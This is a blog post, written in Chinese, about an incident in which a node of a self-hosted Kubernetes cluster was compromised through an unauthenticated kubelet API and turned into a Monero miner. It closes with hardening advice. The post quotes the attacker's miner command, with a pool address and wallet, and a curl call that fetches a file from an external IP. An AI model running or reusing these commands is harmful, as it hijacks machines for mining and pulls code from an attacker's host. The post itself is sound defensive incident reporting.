<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次 Kubernetes 集群被入侵,服務器變門羅幣礦機

    一顆小胡椒2021-09-15 07:09:57

    近期遇到了一次我們自建 Kubernetes 集群中某臺機器被入侵挖礦,后續也找到了原因,所幸只是用來挖礦…

    網絡安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完后也有所啟發,去檢查及加固自己的集群。

    入侵現象

    檢查到某臺機器中出現了異常進程

    ./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
    curl -s http://45.9.148.35/scan_threads.dat
    

    簡單來講,就是我們的機器被用來挖礦了…

    問題出現后,我們第一時間關閉了docker,其實應該隔離下環境, 把挖礦程序dump下來,以便后續分析。

    具體原因排查

    iptables為空

    出現了異常進程,肯定是被入侵了,我首先看的是 iptables 。果不其然,機器上的 iptables 規則是空的,意味著這臺機器在裸奔。

    kubelet裸奔

    內部同事提出了有可能是 kubelet 被入侵的問題,檢查過其他組件后,開始檢查 kubelet 組件

    最后檢查到 kubelet 日志中有異常:

    kubelet設置不當

    確認入侵問題,kubelet 參數設置錯誤,允許直接訪問 kubelet 的 api

    發現是 kubelet 的啟動項中,該位置被注釋掉:

    然后文件中禁止匿名訪問的配置沒有讀取

    該項配置是由于我操作不當注釋掉的

    由于是新增加的機器,當晚就發現了問題,整個集群是我在管理的,我跟隨著一起排查,所以很快就找到了原因,當晚我就把其他機器中的配置項重新掃了一遍,假如它們的防火墻失效了,也會有類似的入侵情況發生,還好此次事件控制在1臺機器中。

    改進方案

    其實該問題理論上講是可以避免的,是因為出現了多層漏洞才會被有心人掃到,我從外到內整理了一下可能改進的策略。

    1. 機器防火墻設置,機器防火墻是整個系統最外層,即使機器的防火墻同步失敗,也不能默認開放所有端口,而是應該全部關閉,等待管理員連接到tty終端上檢查。
    2. 使用機器時,假如機器不是暴露給外部使用的,公網IP可有可無的時候,盡量不要有公網IP,我們的機器才上線1天就被掃描到了漏洞,可想而知,公網上是多么的危險
    3. 使用kubelet以及其他系統服務時,端口監聽方面是不是該有所考量?能不能不監聽 0.0.0.0,而是只監聽本機的內網IP。
    4. 使用kubelet以及其他程序,設計或是搭建系統時, 對于匿名訪問時的權限控制, 我們需要考慮到假如端口匿名會出現什么問題,是否應該允許匿名訪問,如果不允許匿名訪問,那么怎么做一套鑒權系統?
    5. 系統管理員操作時,是否有一個比較規范化的流程,是不是該只使用腳本操作線上環境? 手動操作線上環境帶來的問題并不好排查和定位。
    6. 我這里不是拋出疑問,只是想告訴大家,考慮系統設計時,有必要考慮下安全性。

    總結

    發生了入侵事件后,同事開玩笑說,還好沒其他經濟損失,要不我可能要回家了。作為集群的管理員,只有自己最清楚問題的嚴重程度。從本質上來講,問題已經相當嚴重了。入侵者相當于擁有了機器上docker的完整控制權限。如果讀者有讀過我關于docker系列的內容,就對權限上了解清楚了。

    因為此次事件的發生,不只是我,還有SA的同學基本都被diao了一遍,心里還是有點難受的,希望大家能對網絡安全問題有所重視,從加固防火墻開始,避免監聽不必要的端口,這兩項至少是最容易實現的。

    kubernetes門羅
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近期遇到了一次我們自建 Kubernetes 集群中某臺機器被入侵挖礦,后續也找到了原因,所幸只是用來挖礦…網絡安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完后也有所啟發,去檢查及加固自己的集群。問題出現后,我們第一時間關閉了docker,其實應該隔離下環境, 把挖礦程序dump下來,以便后續分析。
    據悉,跨平臺加密貨幣挖掘僵尸網絡LemonDuck正在針對開源應用容器引擎Docker,以在Linux系統上挖掘加密貨幣。
    騰訊安全近期將復盤2022年典型的攻擊事件,幫助企業深入了解攻擊手法和應對措施,完善自身安全防御體系。下午 6點,X團伙完成了攻擊鏈路的推演,整個過程近乎完美。此次的挖礦木馬變種便是通過掃描 Docker Remote API未授權訪問漏洞進行傳播,并且入侵動作更加隱蔽。若 管理員對其配置不當則會導致未授權訪問漏洞,攻擊者不僅可以植入病毒,甚至可進一步利用 Docker自身特性,借助容器逃逸,最終控制整個集群。
    CISO們擁有一系列不斷改進的工具來幫助發現和阻止惡意活動:包括網絡監控工具、病毒掃描程序、軟件成分分析(SCA)工具、數字取證和事件響應(DFIR)解決方案等等。 不過,網絡安全是一場持續不斷的攻防戰,攻擊者會繼續發起新的挑戰。 較老的技術,如隱寫術——將包括惡意有效載荷在內的信息隱藏在其他良性文件(如圖像)中的技術——也正在發展,帶來了新的可能性。例如,最近一名研究人員證明,即使是推特也不
    隨著越來越多的企業開始啟用DevOps開發模式,CI/CD管道被廣泛使用——這也給攻擊者們帶來了新的攻擊路徑,從而竊取敏感信息、進行挖礦、以及傳輸惡意代碼。
    最近的網絡攻擊利用了持續集成/持續交付 (CI/CD)管道和開發人員工具中的弱點,因此需要提高開發人員基礎設施的安全性。值得注意的是,無論環境多么安全,Codecov 供應鏈攻擊都警告所有人不要在 CI/CD 環境變量中存儲機密。
    Kubernetes通常被稱為“K8s”,是一種非常流行的開源容器編排系統,可以自動部署、擴展和管理容器化工作負載。
    本文將引入一個思路:“在 Kubernetes 集群發生網絡異常時如何排查”。文章將引入 Kubernetes 集群中網絡排查的思路,包含網絡異常模型,常用工具,并且提出一些案例以供學習。其可能原因為Pod 的 DNS 配置不正確DNS 服務異常pod 與 DNS 服務通訊異常大數據包丟包:主要現象為基礎網絡和端口均可以連通,小數據包收發無異常,大數據包丟包。
    盡管Kubernetes的默認設置為開發人員賦予了較大的靈活性和敏捷性,但是卻沒有考慮安全防護層面的需求。為了保護Kubernetes上應用數據的安全,企業必須確保對集群配置的合理性和安全性,以獲得更充分的安全防護能力。企業在Kubernetes應用中,不能忽視保護集群網絡中的應用系統,并對重要業務系統及數據實現隔離防護。
    保留的這部分資源主要提供給系統進程使用。cpuManager 當前的限制:最大 numa node 數不能大于 8,防止狀態爆炸。策略只支持靜態分配 cpuset,未來會支持在容器生命周期內動態調整 cpuset。下文有介紹相應的提案。支持這種場景需要對 CPU 進行分組分配。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类